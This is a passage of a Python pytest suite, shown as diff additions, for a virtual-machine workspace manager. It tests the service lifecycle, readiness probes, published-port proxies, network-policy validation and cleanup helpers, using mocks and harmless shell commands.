(tmp_path / "vms" / "workspaces" / workspace_id).exists() + + +def test_workspace_service_lifecycle_and_status_counts(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + started = manager.start_service( + workspace_id, + "app", + command="sh -lc 'printf \"service ready\\n\"; touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + assert started["state"] == "running" + + listed = manager.list_services(workspace_id) + assert listed["count"] == 1 + assert listed["running_count"] == 1 + + status = manager.status_service(workspace_id, "app") + assert status["state"] == "running" + assert status["ready_at"] is not None + + logs = manager.logs_service(workspace_id, "app") + assert "service ready" in str(logs["stdout"]) + + workspace_status = manager.status_workspace(workspace_id) + assert workspace_status["service_count"] == 1 + assert workspace_status["running_service_count"] == 1 + + stopped = manager.stop_service(workspace_id, "app") + assert stopped["state"] == "stopped" + assert stopped["stop_reason"] in {"sigterm", "sigkill"} + + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + + +def test_workspace_create_serializes_network_policy(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress", + ) + + assert created["network_policy"] == "egress" + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + assert payload["network_policy"] == "egress" + + +def test_workspace_service_start_serializes_published_ports( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + monkeypatch.setattr( + manager, + "_start_workspace_service_published_ports", + lambda **kwargs: [ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + host="127.0.0.1", + protocol="tcp", + proxy_pid=9999, + ) + ], + ) + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + + started = manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert started["published_ports"] == [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ] + + +def test_workspace_service_start_rejects_published_ports_without_network_policy( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises( + RuntimeError, + match="published ports require workspace network_policy 'egress\\+published-ports'", + ): + manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080}], + ) + + +def test_workspace_service_start_rejects_published_ports_without_active_network( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises(RuntimeError, match="published ports require an active guest network"): + manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080}], + ) + + +def test_workspace_service_start_published_port_failure_marks_service_failed( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + def _raise_proxy_failure( + **kwargs: object, + ) -> list[vm_manager_module.WorkspacePublishedPortRecord]: + del kwargs + raise RuntimeError("proxy boom") + + monkeypatch.setattr(manager, "_start_workspace_service_published_ports", _raise_proxy_failure) + + started = manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert started["state"] == "failed" + assert started["stop_reason"] == "published_port_failed" + assert started["published_ports"] == [] + + +def test_workspace_service_cleanup_stops_published_port_proxies( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = "workspace-cleanup" + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + pid=1234, + started_at=time.time(), + ended_at=None, + exit_code=None, + execution_mode="host_compat", + readiness=None, + ready_at=None, + stop_reason=None, + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + manager._delete_workspace_service_artifacts_locked(workspace_id, "web") # noqa: SLF001 + + assert stopped == [9999] + assert not manager._workspace_service_record_path(workspace_id, "web").exists() # noqa: SLF001 + + +def test_workspace_refresh_workspace_service_counts_stops_published_ports_when_stopped( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace = vm_manager_module.WorkspaceRecord( + workspace_id="workspace-counts", + environment="debian:12-base", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + state="stopped", + firecracker_pid=None, + last_error=None, + allow_host_compat=True, + network_policy="off", + metadata={}, + command_count=0, + last_command=None, + workspace_seed={ + "mode": "empty", + "seed_path": None, + "destination": "/workspace", + "entry_count": 0, + "bytes_written": 0, + }, + secrets=[], + reset_count=0, + last_reset_at=None, + ) + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace.workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + pid=1234, + started_at=time.time(), + ended_at=None, + exit_code=None, + execution_mode="host_compat", + readiness=None, + ready_at=None, + stop_reason=None, + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 + + assert stopped == [9999] + refreshed = manager._load_workspace_service_locked(workspace.workspace_id, "web") # noqa: SLF001 + assert refreshed.state == "stopped" + assert refreshed.stop_reason == "workspace_stopped" + + +def test_workspace_published_port_proxy_helpers( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + services_dir = tmp_path / "services" + services_dir.mkdir(parents=True, exist_ok=True) + + class StubProcess: + def __init__(self, pid: int, *, exited: bool = False) -> None: + self.pid = pid + self._exited = exited + + def poll(self) -> int | None: + return 1 if self._exited else None + + def _fake_popen(command: list[str], **kwargs: object) -> StubProcess: + del kwargs + ready_file = Path(command[command.index("--ready-file") + 1]) + ready_file.write_text( + json.dumps( + { + "host": "127.0.0.1", + "host_port": 18080, + "target_host": "172.29.1.2", + "target_port": 8080, + "protocol": "tcp", + } + ), + encoding="utf-8", + ) + return StubProcess(4242) + + monkeypatch.setattr(subprocess, "Popen", _fake_popen) + + record = vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 + services_dir=services_dir, + service_name="web", + workspace_id="workspace-proxy", + guest_ip="172.29.1.2", + spec=vm_manager_module.WorkspacePublishedPortSpec( + guest_port=8080, + host_port=18080, + ), + ) + + assert record.guest_port == 8080 + assert record.host_port == 18080 + assert record.proxy_pid == 4242 + + +def test_workspace_published_port_proxy_timeout_and_stop( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + services_dir = tmp_path / "services" + services_dir.mkdir(parents=True, exist_ok=True) + + class StubProcess: + pid = 4242 + + def poll(self) -> int | None: + return None + + monkeypatch.setattr(subprocess, "Popen", lambda *args, **kwargs: StubProcess()) + monotonic_values = iter([0.0, 0.0, 5.1]) + monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) + monkeypatch.setattr(time, "sleep", lambda _: None) + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + with pytest.raises(RuntimeError, match="timed out waiting for published port proxy readiness"): + vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 + services_dir=services_dir, + service_name="web", + workspace_id="workspace-proxy", + guest_ip="172.29.1.2", + spec=vm_manager_module.WorkspacePublishedPortSpec( + guest_port=8080, + host_port=18080, + ), + ) + + assert stopped == [4242] + + +def test_workspace_published_port_validation_and_stop_helper( + monkeypatch: pytest.MonkeyPatch, +) -> None: + spec = vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 + guest_port="8080", + host_port="18080", + ) + assert spec.guest_port == 8080 + assert spec.host_port == 18080 + with pytest.raises(ValueError, match="published guest_port must be an integer"): + vm_manager_module._normalize_workspace_published_port(guest_port=object()) # noqa: SLF001 + with pytest.raises(ValueError, match="published host_port must be between 1025 and 65535"): + vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 + guest_port=8080, + host_port=80, + ) + + signals: list[int] = [] + monkeypatch.setattr(os, "killpg", lambda pid, sig: signals.append(sig)) + running = iter([True, False]) + monkeypatch.setattr(vm_manager_module, "_pid_is_running", lambda pid: next(running)) + monkeypatch.setattr(time, "sleep", lambda _: None) + + vm_manager_module._stop_workspace_published_port_proxy( # noqa: SLF001 + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ) + + assert signals == [signal.SIGTERM] + + +def test_workspace_network_policy_requires_guest_network_support(tmp_path: Path) -> None: + manager = VmManager( + backend_name="firecracker", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=False, + supports_guest_exec=False, + supports_guest_network=False, + reason="no guest network", + ) + + with pytest.raises(RuntimeError, match="workspace network_policy requires guest networking"): + manager._require_workspace_network_policy_support( # noqa: SLF001 + network_policy="egress" + ) + + +def test_prepare_workspace_seed_rejects_missing_and_invalid_paths(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(ValueError, match="does not exist"): + manager._prepare_workspace_seed(tmp_path / "missing") # noqa: SLF001 + + invalid_source = tmp_path / "seed.txt" + invalid_source.write_text("seed", encoding="utf-8") + + with pytest.raises( + ValueError, + match="seed_path must be a directory or a .tar/.tar.gz/.tgz archive", + ): + manager._prepare_workspace_seed(invalid_source) # noqa: SLF001 + + +def test_workspace_baseline_snapshot_requires_archive(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="baseline snapshot"): + manager._workspace_baseline_snapshot_locked(workspace) # noqa: SLF001 + + +def test_workspace_snapshot_and_service_loaders_handle_invalid_payloads(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = "workspace-invalid" + services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" + snapshots_dir = tmp_path / "vms" / "workspaces" / workspace_id / "snapshots" + services_dir.mkdir(parents=True, exist_ok=True) + snapshots_dir.mkdir(parents=True, exist_ok=True) + (services_dir / "svc.json").write_text("[]", encoding="utf-8") + (snapshots_dir / "snap.json").write_text("[]", encoding="utf-8") + + with pytest.raises(RuntimeError, match="service record"): + manager._load_workspace_service_locked(workspace_id, "svc") # noqa: SLF001 + with pytest.raises(RuntimeError, match="snapshot record"): + manager._load_workspace_snapshot_locked(workspace_id, "snap") # noqa: SLF001 + with pytest.raises(RuntimeError, match="snapshot record"): + manager._load_workspace_snapshot_locked_optional(workspace_id, "snap") # noqa: SLF001 + assert manager._load_workspace_snapshot_locked_optional(workspace_id, "missing") is None # noqa: SLF001 + + +def test_workspace_shell_helpers_handle_missing_invalid_and_close_errors( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + shells_dir = tmp_path / "vms" / "workspaces" / workspace_id / "shells" + shells_dir.mkdir(parents=True, exist_ok=True) + (shells_dir / "invalid.json").write_text("[]", encoding="utf-8") + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + shell = vm_manager_module.WorkspaceShellRecord( + workspace_id=workspace_id, + shell_id="shell-1", + cwd="/workspace", + cols=120, + rows=30, + state="running", + started_at=time.time(), + ) + manager._save_workspace_shell_locked(shell) # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + instance = workspace.to_instance( + workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" + ) + + def _raise_close(**kwargs: object) -> dict[str, object]: + del kwargs + raise RuntimeError("shell close boom") + + monkeypatch.setattr(manager._backend, "close_shell", _raise_close) + manager._close_workspace_shells_locked(workspace, instance) # noqa: SLF001 + assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 + + +def test_workspace_refresh_service_helpers_cover_exit_and_started_refresh( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "started" + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + instance = workspace.to_instance( + workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" + ) + + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + execution_mode="guest_vsock", + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + monkeypatch.setattr( + manager._backend, + "status_service", + lambda *args, **kwargs: { + "service_name": "web", + "command": "sleep 60", + "cwd": "/workspace", + "state": "exited", + "started_at": service.started_at, + "ended_at": service.started_at + 1, + "exit_code": 0, + "execution_mode": "guest_vsock", + }, + ) + + refreshed = manager._refresh_workspace_service_locked( # noqa: SLF001 + workspace, + instance, + service, + ) + assert refreshed.state == "exited" + assert refreshed.published_ports == [ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=None, + ) + ] + assert stopped == [9999] + + manager._save_workspace_service_locked(service) # noqa: SLF001 + refreshed_calls: list[str] = [] + monkeypatch.setattr(manager, "_require_workspace_service_support", lambda instance: None) + + def _refresh_services( + workspace: vm_manager_module.WorkspaceRecord, + instance: vm_manager_module.VmInstance, + ) -> list[vm_manager_module.WorkspaceServiceRecord]: + del instance + refreshed_calls.append(workspace.workspace_id) + return [] + + monkeypatch.setattr( + manager, + "_refresh_workspace_services_locked", + _refresh_services, + ) + manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 + assert refreshed_calls == [workspace_id] + + +def test_workspace_start_published_ports_cleans_up_partial_failure( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + allow_host_compat=True, + ) + workspace = manager._load_workspace_locked(str(created["workspace_id"])) # noqa: SLF001 + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace.workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + started_at=time.time(), + execution_mode="guest_vsock", + ) + started_record = vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + calls: list[int] = [] + + def _start_proxy(**kwargs: object) -> vm_manager_module.WorkspacePublishedPortRecord: + spec = cast(vm_manager_module.WorkspacePublishedPortSpec, kwargs["spec"]) + if spec.guest_port == 8080: + return started_record + raise RuntimeError("proxy boom") + + monkeypatch.setattr(vm_manager_module, "_start_workspace_published_port_proxy", _start_proxy) + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: calls.append(published_port.proxy_pid or -1), + ) + + with pytest.raises(RuntimeError, match="proxy boom"): + manager._start_workspace_service_published_ports( # noqa: SLF001 + workspace=workspace, + service=service, + guest_ip="172.29.1.2", + published_ports=[ + vm_manager_module.WorkspacePublishedPortSpec(guest_port=8080), + vm_manager_module.WorkspacePublishedPortSpec(guest_port=9090), + ], + ) + + assert calls == [9999] + + +def test_workspace_service_start_replaces_non_running_record(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + failed = manager.start_service( + workspace_id, + "app", + command="sh -lc 'exit 2'", + readiness={"type": "file", "path": ".ready"}, + ready_timeout_seconds=1, + ready_interval_ms=50, + ) + assert failed["state"] == "failed" + + started = manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + assert started["state"] == "running" + manager.delete_workspace(workspace_id) + + +def test_workspace_service_supports_command_readiness_and_helper_probes( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + command_started = manager.start_service( + workspace_id, + "command-ready", + command="sh -lc 'touch command.ready; while true; do sleep 60; done'", + readiness={"type": "command", "command": "test -f command.ready"}, + ) + assert command_started["state"] == "running" + + listed = manager.list_services(workspace_id) + assert listed["count"] == 1 + assert listed["running_count"] == 1 + + status = manager.status_workspace(workspace_id) + assert status["service_count"] == 1 + assert status["running_service_count"] == 1 + + assert manager.stop_service(workspace_id, "command-ready")["state"] == "stopped" + + workspace_dir = tmp_path / "vms" / "workspaces" / workspace_id / "workspace" + ready_file = workspace_dir / "probe.ready" + ready_file.write_text("ok\n", encoding="utf-8") + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "file", "path": "/workspace/probe.ready"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + class StubSocket: + def __enter__(self) -> StubSocket: + return self + + def __exit__(self, *args: object) -> None: + del args + + def settimeout(self, timeout: int) -> None: + assert timeout == 1 + + def connect(self, address: tuple[str, int]) -> None: + assert address == ("127.0.0.1", 8080) + + monkeypatch.setattr("pyro_mcp.vm_manager.socket.socket", lambda *args: StubSocket()) + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "tcp", "address": "127.0.0.1:8080"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + class StubResponse: + status = 204 + + def __enter__(self) -> StubResponse: + return self + + def __exit__(self, *args: object) -> None: + del args + + def _urlopen(request: object, timeout: int) -> StubResponse: + del request + assert timeout == 2 + return StubResponse() + + monkeypatch.setattr("pyro_mcp.vm_manager.urllib.request.urlopen", _urlopen) + assert vm_manager_module._service_ready_on_host( # noqa: SLF001 + readiness={"type": "http", "url": "http://127.0.0.1:8080/"}, + workspace_dir=workspace_dir, + cwd=workspace_dir, + ) + + +def test_workspace_service_logs_tail_and_delete_cleanup(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + manager.start_service( + workspace_id, + "logger", + command=( + "sh -lc 'printf \"one\\n\"; printf \"two\\n\"; " + "touch .ready; while true; do sleep 60; done'" + ), + readiness={"type": "file", "path": ".ready"}, + ) + + logs = manager.logs_service(workspace_id, "logger", tail_lines=1) + assert logs["stdout"] == "two\n" + assert logs["truncated"] is True + + services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" + assert services_dir.exists() + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + assert not services_dir.exists() + + +def test_workspace_status_stops_service_counts_when_workspace_is_stopped(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + service_path = tmp_path / "vms" / "workspaces" / workspace_id / "services" / "app.json" + live_service_payload = json.loads(service_path.read_text(encoding="utf-8")) + live_pid = int(live_service_payload["pid"]) + + try: + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "stopped" + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + status = manager.status_workspace(workspace_id) + assert status["state"] == "stopped" + assert status["service_count"] == 1 + assert status["running_service_count"] == 0 + + service_payload = json.loads(service_path.read_text(encoding="utf-8")) + assert service_payload["state"] == "stopped" + assert service_payload["stop_reason"] == "workspace_stopped" + finally: + vm_manager_module._stop_process_group(live_pid) # noqa: SLF001 + + +def test_workspace_service_readiness_validation_helpers() -> None: + assert vm_manager_module._normalize_workspace_service_name("app-1") == "app-1" # noqa: SLF001 + with pytest.raises(ValueError, match="service_name must not be empty"): + vm_manager_module._normalize_workspace_service_name(" ") # noqa: SLF001 + with pytest.raises(ValueError, match="service_name must match"): + vm_manager_module._normalize_workspace_service_name("bad name") # noqa: SLF001 + + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "file", "path": "subdir/.ready"} + ) == {"type": "file", "path": "/workspace/subdir/.ready"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "tcp", "address": "127.0.0.1:8080"} + ) == {"type": "tcp", "address": "127.0.0.1:8080"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "http", "url": "http://127.0.0.1:8080/"} + ) == {"type": "http", "url": "http://127.0.0.1:8080/"} + assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "command", "command": "test -f .ready"} + ) == {"type": "command", "command": "test -f .ready"} + + with pytest.raises(ValueError, match="one of: file, tcp, http, command"): + vm_manager_module._normalize_workspace_service_readiness({"type": "bogus"}) # noqa: SLF001 + with pytest.raises(ValueError, match="required for file readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "file"}) # noqa: SLF001 + with pytest.raises(ValueError, match="HOST:PORT format"): + vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 + {"type": "tcp", "address": "127.0.0.1"} + ) + with pytest.raises(ValueError, match="required for http readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "http"}) # noqa: SLF001 + with pytest.raises(ValueError, match="required for command readiness"): + vm_manager_module._normalize_workspace_service_readiness({"type": "command"}) # noqa: SLF001 + + +def test_workspace_service_text_and_exit_code_helpers(tmp_path: Path) -> None: + status_path = tmp_path / "service.status" + assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 + status_path.write_text("", encoding="utf-8") + assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 + status_path.write_text("7\n", encoding="utf-8") + assert vm_manager_module._read_service_exit_code(status_path) == 7 # noqa: SLF001 + + log_path = tmp_path / "service.log" + assert vm_manager_module._tail_text(log_path, tail_lines=10) == ("", False) # noqa: SLF001 + log_path.write_text("one\ntwo\nthree\n", encoding="utf-8") + assert vm_manager_module._tail_text(log_path, tail_lines=None) == ( # noqa: SLF001 + "one\ntwo\nthree\n", + False, + ) + assert vm_manager_module._tail_text(log_path, tail_lines=5) == ( # noqa: SLF001 + "one\ntwo\nthree\n", + False, + ) + assert vm_manager_module._tail_text(log_path, tail_lines=1) == ("three\n", True) # noqa: SLF001 + + +def test_workspace_service_process_group_helpers(monkeypatch: pytest.MonkeyPatch) -> None: + def _missing(_pid: int, _signal: int) -> None: + raise ProcessLookupError() + + monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _missing) + assert vm_manager_module._stop_process_group(123) == (False, False) # noqa: SLF001 + + kill_calls: list[int] = [] + monotonic_values = iter([0.0, 0.0, 5.0, 5.0, 10.0]) + running_states = iter([True, True, False]) + + def _killpg(_pid: int, signum: int) -> None: + kill_calls.append(signum) + + def _monotonic() -> float: + return next(monotonic_values) + + def _is_running(_pid: int | None) -> bool: + return next(running_states) + + monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _killpg) + 